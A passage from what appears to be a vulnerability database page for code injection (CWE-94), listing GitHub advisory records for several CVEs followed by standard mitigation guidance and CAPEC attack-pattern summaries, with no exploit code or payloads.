      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "lmdeploy: Hardcoded trust_remote_code=True is an implicit unsafe remote-code load path with no user opt-out"
}

GHSA-9XW2-C8RR-FH9Q

Vulnerability from github – Published: 2025-08-13 18:31 – Updated: 2025-08-13 18:31
VLAI
Details

NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability in a python dependency, where an attacker could cause a code injection issue. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-23298"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-13T18:15:29Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Merlin Transformers4Rec for all platforms contains a vulnerability in a python dependency, where an attacker could cause a code injection issue. A successful exploit of this vulnerability might lead to code execution, escalation of privileges, information disclosure, and data tampering.",
  "id": "GHSA-9xw2-c8rr-fh9q",
  "modified": "2025-08-13T18:31:25Z",
  "published": "2025-08-13T18:31:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23298"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5683"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-23298"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-9XWQ-P786-GG42

Vulnerability from github – Published: 2022-05-01 18:35 – Updated: 2022-05-01 18:35
VLAI
Details

Unspecified vulnerability in the Settings component in the administration system in Jeebles Directory 2.9.60 allows remote authenticated administrators to execute arbitrary PHP code via unspecified vectors related to settings.inc.php. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-5705"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-10-29T22:46:00Z",
    "severity": "MODERATE"
  },
  "details": "Unspecified vulnerability in the Settings component in the administration system in Jeebles Directory 2.9.60 allows remote authenticated administrators to execute arbitrary PHP code via unspecified vectors related to settings.inc.php.  NOTE: the provenance of this information is unknown; the details are obtained solely from third party information.",
  "id": "GHSA-9xwq-p786-gg42",
  "modified": "2022-05-01T18:35:53Z",
  "published": "2022-05-01T18:35:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-5705"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/37379"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/27345"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C244-P864-46QG

Vulnerability from github – Published: 2022-05-02 03:12 – Updated: 2022-05-02 03:12
VLAI
Details

Interaction error in xdg-open allows remote attackers to execute arbitrary code by sending a file with a dangerous MIME type but using a safe type that Firefox sends to xdg-open, which causes xdg-open to process the dangerous file type through automatic type detection, as demonstrated by overwriting the .desktop file.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2009-0068"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2009-01-07T19:30:00Z",
    "severity": "MODERATE"
  },
  "details": "Interaction error in xdg-open allows remote attackers to execute arbitrary code by sending a file with a dangerous MIME type but using a safe type that Firefox sends to xdg-open, which causes xdg-open to process the dangerous file type through automatic type detection, as demonstrated by overwriting the .desktop file.",
  "id": "GHSA-c244-p864-46qg",
  "modified": "2022-05-02T03:12:39Z",
  "published": "2022-05-02T03:12:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2009-0068"
    },
    {
      "type": "WEB",
      "url": "https://bugs.freedesktop.org/show_bug.cgi?id=19377"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/01/06/1"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/33137"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-C24R-PXMJ-HX9H

Vulnerability from github – Published: 2024-05-15 18:30 – Updated: 2024-05-15 18:30
VLAI
Details

An issue was identified in the Identity Security Cloud (ISC) Transform preview and IdentityProfile preview API endpoints that allowed an authenticated administrator to execute user-defined templates as part of attribute transforms which could allow remote code execution on the host.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-3319"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-05-15T16:15:11Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was identified in the Identity Security Cloud (ISC) Transform preview and IdentityProfile preview API endpoints that allowed an authenticated administrator to execute user-defined templates as part of attribute transforms which could allow remote code execution on the host.",
  "id": "GHSA-c24r-pxmj-hx9h",
  "modified": "2024-05-15T18:30:34Z",
  "published": "2024-05-15T18:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3319"
    },
    {
      "type": "WEB",
      "url": "https://www.sailpoint.com/security-advisories"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-C254-V996-G238

Vulnerability from github – Published: 2023-11-03 03:30 – Updated: 2023-11-03 03:30
VLAI
Details

Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36022"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-03T01:15:07Z",
    "severity": "MODERATE"
  },
  "details": "Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability",
  "id": "GHSA-c254-v996-g238",
  "modified": "2023-11-03T03:30:24Z",
  "published": "2023-11-03T03:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36022"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36022"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/202402-05"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

Strategy: Refactoring

Refactor your program so that you do not have to dynamically generate code.

Mitigation
Architecture and Design
  • Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
  • Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
  • This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
  • Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Testing

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Mitigation MIT-32
Operation

Strategy: Compilation or Build Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation MIT-32
Operation

Strategy: Environment Hardening

Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).

Mitigation
Implementation

For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

CAPEC-242: Code Injection

An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.

CAPEC-35: Leverage Executable Code in Non-Executable Files

An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.

CAPEC-77: Manipulating User-Controlled Variables

This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.